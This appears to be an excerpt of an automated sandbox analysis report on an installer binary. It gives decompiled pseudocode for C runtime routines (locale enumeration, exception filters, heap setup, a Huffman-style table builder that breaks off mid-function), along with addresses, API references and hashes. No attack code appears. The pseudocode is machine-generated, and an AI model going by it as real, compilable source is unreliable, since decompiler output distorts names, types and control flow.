				 *((intOrPtr*)(_t31 + 0x14)) =  ~(_t20 - 3) + 1;
				_t30[1] = _t30[1] & 0x00000000;
				if( *((intOrPtr*)(_t31 + 0x10)) == 0) {
					_t24 = E000DEBD7( *_t31);
				} else {
					_t24 = 2;
				}
				 *((intOrPtr*)(_t31 + 0xc)) = _t24;
				_t25 = EnumSystemLocalesW(E000DEC01, 1);
				if(( *_t30 & 0x00000100) == 0 || ( *_t30 & 0x00000200) == 0 || ( *_t30 & 0x00000007) == 0) {
					 *_t30 =  *_t30 & 0x00000000;
					return _t25;
				}
				return _t25;
			}

0x000deb0b
0x000deb0b
0x000deb13
0x000deb20
0x000deb23
0x000deb26
0x000deb2b
0x000deb33
0x000deb36
0x000deb39
0x000deb43
0x000deb4c
0x000deb45
0x000deb47
0x000deb47
0x000deb59
0x000deb5c
0x000deb68
0x000deb77
0x00000000
0x000deb77
0x000deb7d

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

_GetPrimaryLen.LIBCMT ref: 000DEB4C
EnumSystemLocalesW.KERNEL32(000DEC01,00000001,000000A0,?,?,000DF18B,00000000,?,?,?,?,?,00000055), ref: 000DEB5C

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: EnumLocalesPrimarySystem__getptd_noexit
String ID:
API String ID: 1605451767-0
Opcode ID: 0b31ae07b4f7b55dcd414a395dba5eb65f7ca0430500d6cb47ec75544ce562e6
Instruction ID: 3f2942d97ff00ef089c802419bc0e5239c6d30508b39a3fb6d83eacdac321348
Opcode Fuzzy Hash: 0b31ae07b4f7b55dcd414a395dba5eb65f7ca0430500d6cb47ec75544ce562e6
Instruction Fuzzy Hash: B101A732550346AFE7307F74D409BA6B7E0EF00721F20492BE5469A6D1D7B57454CB60

Uniqueness

Uniqueness Score: -1.00%

Function 000DEFC9, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E000DEFC9(void* __eflags, signed int _a4, intOrPtr _a8) {
				short _v8;
				void* __edi;
				void* _t7;
				intOrPtr _t11;
				void* _t12;
				void* _t13;
				void* _t20;
				void* _t21;
				signed int _t24;

				_push(_t20);
				_t7 = E000D4F6A(_t20, __eflags);
				_t24 = _a4;
				_t21 = _t7;
				if(GetLocaleInfoW(_t24 & 0x000003ff | 0x00000400, 0x20000001,  &_v8, 2) != 0) {
					__eflags = _t24 - _v8;
					if(_t24 == _v8) {
						L5:
						_t11 = 1;
						__eflags = 1;
					} else {
						__eflags = _a8;
						if(_a8 == 0) {
							goto L5;
						} else {
							_t12 = E000DEBD7( *((intOrPtr*)(_t21 + 0x9c)));
							_t13 = E000D1321( *((intOrPtr*)(_t21 + 0x9c)));
							__eflags = _t12 - _t13;
							if(_t12 == _t13) {
								goto L1;
							} else {
								goto L5;
							}
						}
					}
				} else {
					L1:
					_t11 = 0;
				}
				return _t11;
			}

0x000defce
0x000defcf
0x000defd4
0x000defd9
0x000deffb
0x000df001
0x000df004
0x000df02a
0x000df02c
0x000df02c
0x000df006
0x000df006
0x000df00a
0x00000000
0x000df00c
0x000df012
0x000df01f
0x000df026
0x000df028
0x00000000
0x00000000
0x00000000
0x00000000
0x000df028
0x000df00a
0x000deffd
0x000deffd
0x000deffd
0x000deffd
0x000df030

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,000DEDC3,00000000,00000000,?), ref: 000DEFF3
_GetPrimaryLen.LIBCMT ref: 000DF012

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: InfoLocalePrimary__getptd_noexit
String ID:
API String ID: 3580725100-0
Opcode ID: 265ac877ba3afdb274b56ab67ed551dea957bc73c56de63318e86a292fc3d85a
Instruction ID: 31dad6db788e0a2a602535a5d1f360b2d5b893dbbee7dd592dc60b3509e3588a
Opcode Fuzzy Hash: 265ac877ba3afdb274b56ab67ed551dea957bc73c56de63318e86a292fc3d85a
Instruction Fuzzy Hash: E4F09672A10212BBEB246775CC49BF97AD8EB40754F108137E507A7242EE75AD4186B4

Uniqueness

Uniqueness Score: -1.00%

Function 000DEB7E, Relevance: 3.0, APIs: 2, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E000DEB7E(void* __edi, void* __eflags, signed int* _a4) {
				void* _t8;
				intOrPtr _t11;
				intOrPtr _t12;
				signed int* _t14;
				void* _t19;

				_t19 = E000D4F6A(__edi, __eflags);
				_t8 = E000D1321( *((intOrPtr*)(_t19 + 0x9c)));
				asm("sbb eax, eax");
				_t11 =  ~(_t8 - 3) + 1;
				 *((intOrPtr*)(_t19 + 0xac)) = _t11;
				if(_t11 == 0) {
					_t12 = E000DEBD7( *((intOrPtr*)(_t19 + 0x9c)));
				} else {
					_t12 = 2;
				}
				 *((intOrPtr*)(_t19 + 0xa8)) = _t12;
				EnumSystemLocalesW(E000DEDF4, 1);
				_t14 = _a4;
				if(( *_t14 & 0x00000004) == 0) {
					 *_t14 =  *_t14 & 0x00000000;
					return _t14;
				}
				return _t14;
			}

0x000deb87
0x000deb8f
0x000deb99
0x000deb9b
0x000deb9d
0x000deba3
0x000debb0
0x000deba5
0x000deba7
0x000deba7
0x000debbd
0x000debc3
0x000debc9
0x000debd0
0x000debd2
0x00000000
0x000debd2
0x000debd6

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

_GetPrimaryLen.LIBCMT ref: 000DEBB0
EnumSystemLocalesW.KERNEL32(000DEDF4,00000001,?,?,000DF155,000D7291,?,?,00000055,?,?,000D7291,?,?,?), ref: 000DEBC3

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: EnumLocalesPrimarySystem__getptd_noexit
String ID:
API String ID: 1605451767-0
Opcode ID: acd94eff403bf87692cd1b8e1af7c46d720f9c6f7e551adb0f443c27c74c4d50
Instruction ID: 6af60e5df7b7c695cb33e8cdead07fbfedf9ee81e0e32828e1c4e715f7c040f4
Opcode Fuzzy Hash: acd94eff403bf87692cd1b8e1af7c46d720f9c6f7e551adb0f443c27c74c4d50
Instruction Fuzzy Hash: 1BF08C32950785AFEB20BB34EC01FE63BD1EB02771F104427F54B8E292DBB068408670

Uniqueness

Uniqueness Score: -1.00%

Function 000D0FD6, Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000D0FD6(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x000d0fdb
0x000d0feb

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,000D3405,?,?,?,00000000), ref: 000D0FDB
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 000D0FE4

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e52e73618245b16f81126dab814c6fd5f91ed24926b7c6a50e1b996167a15fd6
Instruction ID: f456596feb924bbb088870bd3640a78b5e161e299d701199c1ec7573c183e0c9
Opcode Fuzzy Hash: e52e73618245b16f81126dab814c6fd5f91ed24926b7c6a50e1b996167a15fd6
Instruction Fuzzy Hash: 27B09231044248ABEF002B92FC49B4C3F29EB14B52F000090F61D5A0608B6658908A91

Uniqueness

Uniqueness Score: -1.00%

Function 000DEDF4, Relevance: 1.6, APIs: 1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E000DEDF4(intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				int _t19;
				signed int _t21;
				signed int _t23;
				signed int _t30;
				signed int _t31;
				intOrPtr* _t33;
				intOrPtr _t45;
				void* _t46;
				signed int* _t47;
				int _t49;
				signed int _t50;

				_t45 = __edx;
				_t15 =  *0xef6ac; // 0xcff43140
				_v8 = _t15 ^ _t50;
				_t3 = E000D4F6A(_t46, __eflags) + 0x9c; // 0x9c
				_t33 = _t3;
				_t47 =  *(E000D4F6A(_t46, __eflags) + 0x3b8);
				_t19 = E000DEECD(_a4);
				asm("sbb ecx, ecx");
				_t49 = _t19;
				_t21 = GetLocaleInfoW(_t49, ( ~( *(_t33 + 0x10)) & 0xfffff002) + 0x1001,  &_v248, 0xf0);
				if(_t21 != 0) {
					_t23 = E000DA4A0(_t33, _t47, _t49,  *_t33,  &_v248);
					__eflags = _t23;
					if(_t23 != 0) {
						__eflags =  *(_t33 + 0x10);
						if( *(_t33 + 0x10) == 0) {
							__eflags =  *(_t33 + 0xc);
							if( *(_t33 + 0xc) != 0) {
								_t30 = E000DA4A0(_t33, _t47, _t49,  *_t33,  &_v248);
								__eflags = _t30;
								if(__eflags == 0) {
									_push(_t47);
									_push(_t30);
									goto L9;
								}
							}
						}
					} else {
						__eflags =  *(_t33 + 0x10) - _t23;
						if(__eflags != 0) {
							L10:
							 *_t47 =  *_t47 | 0x00000004;
							__eflags =  *_t47;
							_t47[1] = _t49;
							_t47[2] = _t49;
						} else {
							_push(_t47);
							_push(1);
							L9:
							_push(_t49);
							_t31 = E000DEFC9(__eflags);
							__eflags = _t31;
							if(_t31 != 0) {
								goto L10;
							}
						}
					}
					__eflags =  !( *_t47 >> 2) & 0x00000001;
				} else {
					 *_t47 =  *_t47 & _t21;
				}
				return E000CC7C7(_t33, _v8 ^ _t50, _t45, _t47, _t49);
			}

0x000dedf4
0x000dedfd
0x000dee04
0x000dee12
0x000dee12
0x000dee1d
0x000dee24
0x000dee2f
0x000dee31
0x000dee4d
0x000dee55
0x000dee65
0x000dee6c
0x000dee6e
0x000dee7a
0x000dee7e
0x000dee80
0x000dee84
0x000dee8f
0x000dee96
0x000dee98
0x000dee9a
0x000dee9b
0x00000000
0x000dee9b
0x000dee98
0x000dee84
0x000dee70
0x000dee70
0x000dee73
0x000deea9
0x000deea9
0x000deea9
0x000deeac
0x000deeaf
0x000dee75
0x000dee75
0x000dee76
0x000dee9c
0x000dee9c
0x000dee9d
0x000deea5
0x000deea7
0x00000000
0x00000000
0x000deea7
0x000dee73
0x000deeb9
0x000dee57
0x000dee57
0x000dee59
0x000deeca

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 000DEE4D

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: InfoLocale__getptd_noexit
String ID:
API String ID: 2161030339-0
Opcode ID: d013039e076ce03e59fc3d9b901fefe77ff6e98fd998053e395e553d8d85bbfd
Instruction ID: 85fc48b3382cb9e2bbb8283fb1dcf90874e74ed7b58a4b0d22296280adfc3834
Opcode Fuzzy Hash: d013039e076ce03e59fc3d9b901fefe77ff6e98fd998053e395e553d8d85bbfd
Instruction Fuzzy Hash: 2A21B072500346ABEB24AF24DC42BBA73E8EF45714F10417BE905DA282E774D984CA71

Uniqueness

Uniqueness Score: -1.00%

Function 000D2EBD, Relevance: 1.5, APIs: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E000D2EBD(signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _t5;
				signed int _t6;
				int _t8;

				_t5 =  *0xf1c74; // 0xbae07790
				_t6 = _t5 ^  *0xef6ac;
				if(_t6 == 0) {
					 *0xf10b8 = _a4;
					_t8 = EnumSystemLocalesW(E000D2EA9, 1);
					 *0xf10b8 =  *0xf10b8 & 0x00000000;
					return _t8;
				} else {
					return  *_t6(_a4, _a8, _a12, 0);
				}
			}

0x000d2ec0
0x000d2ec5
0x000d2ecb
0x000d2ee6
0x000d2eeb
0x000d2ef1
0x000d2ef9
0x000d2ecd
0x000d2edb
0x000d2edb

APIs

EnumSystemLocalesW.KERNEL32(000D2EA9,00000001,?,000DE405,000DE4A3,00000003,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 000D2EEB

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 8cc668514778a38c20f0631f7331b33d67d7d82d7d39135d0aa438fefd07e370
Instruction ID: 9fbf7c193229a0e4f8edfcfb4827224116b291caf8a2a0295a3f129b58a3528e
Opcode Fuzzy Hash: 8cc668514778a38c20f0631f7331b33d67d7d82d7d39135d0aa438fefd07e370
Instruction Fuzzy Hash: CCE04F31154348EFEB10CFA0EC81FA53BA5A744700F004012B60C9E570C6B5A590EB50

Uniqueness

Uniqueness Score: -1.00%

Function 000D2EFA, Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000000,00000002,?,?,000D40C1,?,?,?,00000002,00000000,00000000,00000000), ref: 000D2F21

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d0defc41373aa6533b3b5b7965b0397b90f57f466bb4529cce4d95080b35f4ee
Instruction ID: e5928623370201bc48fe24fb6efd884f1f4c4d3a4daabd16b5928731e22c5312
Opcode Fuzzy Hash: d0defc41373aa6533b3b5b7965b0397b90f57f466bb4529cce4d95080b35f4ee
Instruction Fuzzy Hash: 9ED05E3200020AFFDF019FE0FC49CAA3BA9EB58310B404452F91C9A130CB36E430DB60

Uniqueness

Uniqueness Score: -1.00%

Function 000D0FB3, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000D0FB3(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x000d0fc0

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 000D0FB9

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 411228cbe30c4ac7b9ad9e63ee2991f83326a5ee276f47472fa2269cabddc1b7
Instruction ID: fb6c049bab8879b51cfbf3c0c31c40b62f89845271e9ed46afbd414a8abbec4d
Opcode Fuzzy Hash: 411228cbe30c4ac7b9ad9e63ee2991f83326a5ee276f47472fa2269cabddc1b7
Instruction Fuzzy Hash: EDA0223000020CFBCF002F83FC0888C3F2EEB00BA0B0000A0F80C0A030CB33A8A08AC0

Uniqueness

Uniqueness Score: -1.00%

Function 000D416B, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000D416B() {
				void* _t3;

				_t3 = GetProcessHeap();
				 *0xf173c = _t3;
				return 0 | _t3 != 0x00000000;
			}

0x000d416b
0x000d4178
0x000d417f

APIs

GetProcessHeap.KERNEL32(000CE40D,000ED1B8,00000014), ref: 000D416B

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 30aa0abba8cd273dc2c1eaf16be832a7af18c3e5ad7d3859ddba961187a0efd6
Instruction ID: c9b8a30577edffa49f7ac5262460877599c2014203da6873c78f9455430dd409
Opcode Fuzzy Hash: 30aa0abba8cd273dc2c1eaf16be832a7af18c3e5ad7d3859ddba961187a0efd6
Instruction Fuzzy Hash: 1AB012B4305302CBA7484B39AC9415935E4D708101300803E7007C5960DB348410FF04

Uniqueness

Uniqueness Score: -1.00%

Function 000C4CD0, Relevance: .4, Instructions: 366
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E000C4CD0(signed int* __ecx, signed int __edx, signed char _a4, intOrPtr _a8, intOrPtr _a12, signed int* _a16, signed int _a20, intOrPtr _a24, signed int* _a28, intOrPtr* _a32) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				intOrPtr* _v156;
				intOrPtr _v160;
				unsigned int _v164;
				intOrPtr* _v168;
				signed int _v172;
				signed int _v176;
				intOrPtr _v180;
				signed int _v184;
				intOrPtr _v188;
				char _v191;
				signed int _v192;
				intOrPtr* _v196;
				signed int _v200;
				intOrPtr _v204;
				signed int _v208;
				signed int* _v212;
				signed int* _v216;
				signed int _v220;
				intOrPtr _v224;
				signed int _v284;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t222;
				void* _t223;
				void* _t224;
				signed int _t225;
				signed int _t227;
				intOrPtr _t228;
				signed int _t233;
				signed int _t236;
				signed int _t243;
				intOrPtr _t244;
				signed int _t246;
				signed char _t251;
				signed int _t257;
				signed int _t259;
				signed int _t271;
				signed int _t273;
				unsigned int _t277;
				void* _t280;
				void* _t281;
				void* _t282;
				void* _t283;
				signed int _t285;
				intOrPtr _t286;
				signed int _t289;
				signed int* _t291;
				signed int _t292;
				signed int _t294;
				intOrPtr _t297;
				signed int _t298;
				intOrPtr _t305;
				signed int _t306;
				intOrPtr* _t308;
				intOrPtr _t309;
				signed int _t310;
				signed int _t319;
				signed int _t321;
				intOrPtr _t324;
				intOrPtr _t327;
				intOrPtr* _t331;
				signed int _t332;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				signed int _t349;
				intOrPtr _t352;
				signed int _t355;
				intOrPtr _t357;
				signed int _t358;

				_t332 = __edx;
				_t291 = __ecx;
				_v8 =  *0xef6ac ^ _t358;
				_v212 = _a16;
				_t285 = _a20;
				_v224 = _a24;
				_v216 = _a28;
				_t343 = __edx;
				_t355 = __ecx;
				_v196 = _a32;
				_v76 = 0;
				_v72 = 0;
				_v68 = 0;
				_v64 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				do {
					_t222 =  *_t291;
					_t291 =  &(_t291[1]);
					 *((intOrPtr*)(_t358 + _t222 * 4 - 0x48)) =  *((intOrPtr*)(_t358 + _t222 * 4 - 0x48)) + 1;
					_t332 = _t332 - 1;
				} while (_t332 != 0);
				if(_v76 != __edx) {
					_t223 =  *_t285;
					_t292 = 1;
					while( *((intOrPtr*)(_t358 + _t292 * 4 - 0x48)) == 0) {
						_t292 = _t292 + 1;
						if(_t292 <= 0xf) {
							continue;
						}
						break;
					}
					_v144 = _t292;
					_t224 =  <  ? _t292 : _t223;
					_t333 = 0xf;
					while( *((intOrPtr*)(_t358 + _t333 * 4 - 0x48)) == 0) {
						_t333 = _t333 - 1;
						if(_t333 != 0) {
							continue;
						}
						break;
					}
					_t225 =  >  ? _t333 : _t224;
					_v152 = _t225;
					 *_t285 = _t225;
					_t227 = 1 << _t292;
					_v176 = _t333;
					_v184 = 1;
					if(_t292 >= _t333) {
						L14:
						_t285 = _t333 * 4;
						_v172 = _t285;
						_t228 =  *((intOrPtr*)(_t358 + _t285 - 0x48));
						_t294 = _v184 - _t228;
						_v184 = _t294;
						if(_t294 < 0) {
							goto L37;
						} else {
							_t297 = 0;
							 *((intOrPtr*)(_t358 + _t285 - 0x48)) = _t228 + _t294;
							_v136 = 0;
							_t334 = _t333 - 1;
							if(_t334 != 0) {
								_t282 = 0;
								do {
									_t297 = _t297 +  *((intOrPtr*)(_t358 + _t282 - 0x44));
									_t282 = _t282 + 4;
									 *((intOrPtr*)(_t358 + _t282 - 0x84)) = _t297;
									_t334 = _t334 - 1;
								} while (_t334 != 0);
							}
							_t286 = _v196;
							_t298 = 0;
							do {
								_t332 =  *_t355;
								_t355 = _t355 + 4;
								if(_t332 != 0) {
									_t233 =  *(_t358 + _t332 * 4 - 0x88) + 1;
									 *(_t286 + _t233 * 4 - 4) = _t298;
									 *(_t358 + _t332 * 4 - 0x88) = _t233;
								}
								_t298 = _t298 + 1;
							} while (_t298 < _t343);
							_t343 = 0;
							_v220 =  *((intOrPtr*)(_t358 + _v172 - 0x88));
							_v156 = _v196;
							_t236 = _v144;
							_t285 =  ~_v152;
							_t355 = 0;
							_v164 = 0;
							_v140 = 0;
							_v148 = _t298 | 0xffffffff;
							_v200 = _t285;
							_v284 = 0;
							_v172 = 0;
							if(_t236 > _v176) {
								L60:
								if(_v184 == 0 || _v176 == 1) {
									goto L4;
								} else {
									return E000CC7C7(_t285, _v8 ^ _t358, _t332, _t343, _t355);
								}
							} else {
								_v168 = _t358 + _t236 * 4 - 0x48;
								_v180 = _v188;
								_t243 = _v144;
								do {
									_t305 =  *_v168;
									_v160 = _t305;
									_t306 = _v148;
									if(_t305 != 0) {
										_t244 = _v160;
										_v204 = _t244 + 1;
										_t336 = _v152;
										do {
											_v204 = _v204 - 1;
											_v160 = _t244 - 1;
											_t246 = _t285 + _t336;
											if(_v144 <= _t246) {
												L41:
												_v191 = _v144 - _t285;
												_t308 = _v156;
												if(_t308 < _v196 + _v220 * 4) {
													_t309 =  *_t308;
													_t251 = _a4;
													_v180 = _t309;
													if(_t309 >= _t251) {
														_t310 = _t309 - _t251;
														_v192 =  *((intOrPtr*)(_a12 + _t310 * 4)) + 0x50;
														_v180 =  *((intOrPtr*)(_a8 + _t310 * 4));
													} else {
														asm("sbb al, al");
														_v192 = (_t251 & 0x000000a0) + 0x60;
													}
													_v156 = _v156 + 4;
												} else {
													_v192 = 0xc0;
												}
												_t257 = _t343 >> _t285;
												if(_t257 < _t355) {
													_t289 = _v192;
													_t331 = _v172 + _t257 * 8;
													do {
														 *((intOrPtr*)(_t331 + 4)) = _v180;
														 *_t331 = _t289;
														_t257 = _t257 + 1;
														_t331 = _t331 + 8;
													} while (_t257 < _t355);
													_t285 = _v200;
													_t343 = _v164;
												}
												_t259 = 1 << _v144 - 1;
												if((_t343 & 0x00000001) != 0) {
													do {
														_t343 = _t343 ^ _t259;
														_t259 = _t259 >> 1;
													} while ((_t343 & _t259) != 0);
												}
												_t336 = _v152;
												_t343 = _t343 ^ _t259;
												_t306 = _v148;
												_v164 = _t343;
												if(((0x00000001 << _t285) - 0x00000001 & _t343) !=  *(_t358 + _t306 * 4 - 0x88)) {
													do {
														_t285 = _t285 - _t336;
														_v148 = _t306 - 1;
														_t306 = _v148;
													} while (((0x00000001 << _t285) - 0x00000001 & _t343) !=  *(_t358 + _t306 * 4 - 0x88));
													_v200 = _t285;
												}
												goto L57;
											} else {
												_t344 = _t285 - _t336;
												do {
													_t285 = _t246;
													_v208 = _t344 + _t336;
													_t343 =  >  ? _t336 : _v176 - _t285;
													_t333 = _v144 - _t285;
													_v148 = _t306 + 1;
													_t319 = _t333;
													_t271 = 1 << _t319;
													_v200 = _t285;
													if(1 > _v204) {
														_t357 = _v168;
														_t280 = _t271 + (_t319 | 0xffffffff) - _v160;
														if(_t333 < _t343) {
															_t333 = _t333 + 1;
															if(_t333 < _t343) {
																while(1) {
																	_t327 =  *((intOrPtr*)(_t357 + 4));
																	_t357 = _t357 + 4;
																	_t281 = _t280 + _t280;
																	if(_t281 <= _t327) {
																		goto L34;
																	}
																	_t333 = _t333 + 1;
																	_t280 = _t281 - _t327;
																	if(_t333 < _t343) {
																		continue;
																	}
																	goto L34;
																}
															}
														}
													}
													L34:
													_t273 =  *_v216;
													_t355 = 1 << _t333;
													_t321 = _t273 + 1;
													if(_t321 > 0x5a0) {
														goto L37;
													} else {
														goto L35;
													}
													goto L63;
													L35:
													_t349 = _v224 + _t273 * 8;
													_v172 = _t349;
													 *(_t358 + _v148 * 4 - 0x118) = _t349;
													 *_v216 = _t321;
													_t306 = _v148;
													if(_t306 == 0) {
														 *_v212 = _t349;
													} else {
														_t277 = _v164;
														 *(_t358 + _t306 * 4 - 0x88) = _t277;
														_v191 = _v152;
														_v192 = _t333;
														_t342 = _t277 >> _v208;
														_t324 =  *((intOrPtr*)(_t358 + _v148 * 4 - 0x11c));
														_t352 = (_t349 - _t324 >> 3) - _t342;
														 *(_t324 + _t342 * 8) = _v192;
														 *((intOrPtr*)(_t324 + 4 + _t342 * 8)) = _t352;
														_t306 = _v148;
														_v180 = _t352;
													}
													_t336 = _v152;
													_t344 = _v208;
													_t246 = _t285 + _t336;
												} while (_v144 > _t246);
												_t343 = _v164;
												goto L41;
											}
											goto L63;
											L57:
											_t244 = _v160;
										} while (_t244 != 0);
										_t243 = _v144;
									}
									goto L59;
									L59:
									_v168 = _v168 + 4;
									_t243 = _t243 + 1;
									_v144 = _t243;
								} while (_t243 <= _v176);
								goto L60;
							}
						}
					} else {
						while(1) {
							_t283 = _t227 -  *((intOrPtr*)(_t358 + _t292 * 4 - 0x48));
							if(_t283 < 0) {
								break;
							}
							_t292 = _t292 + 1;
							_t227 = _t283 + _t283;
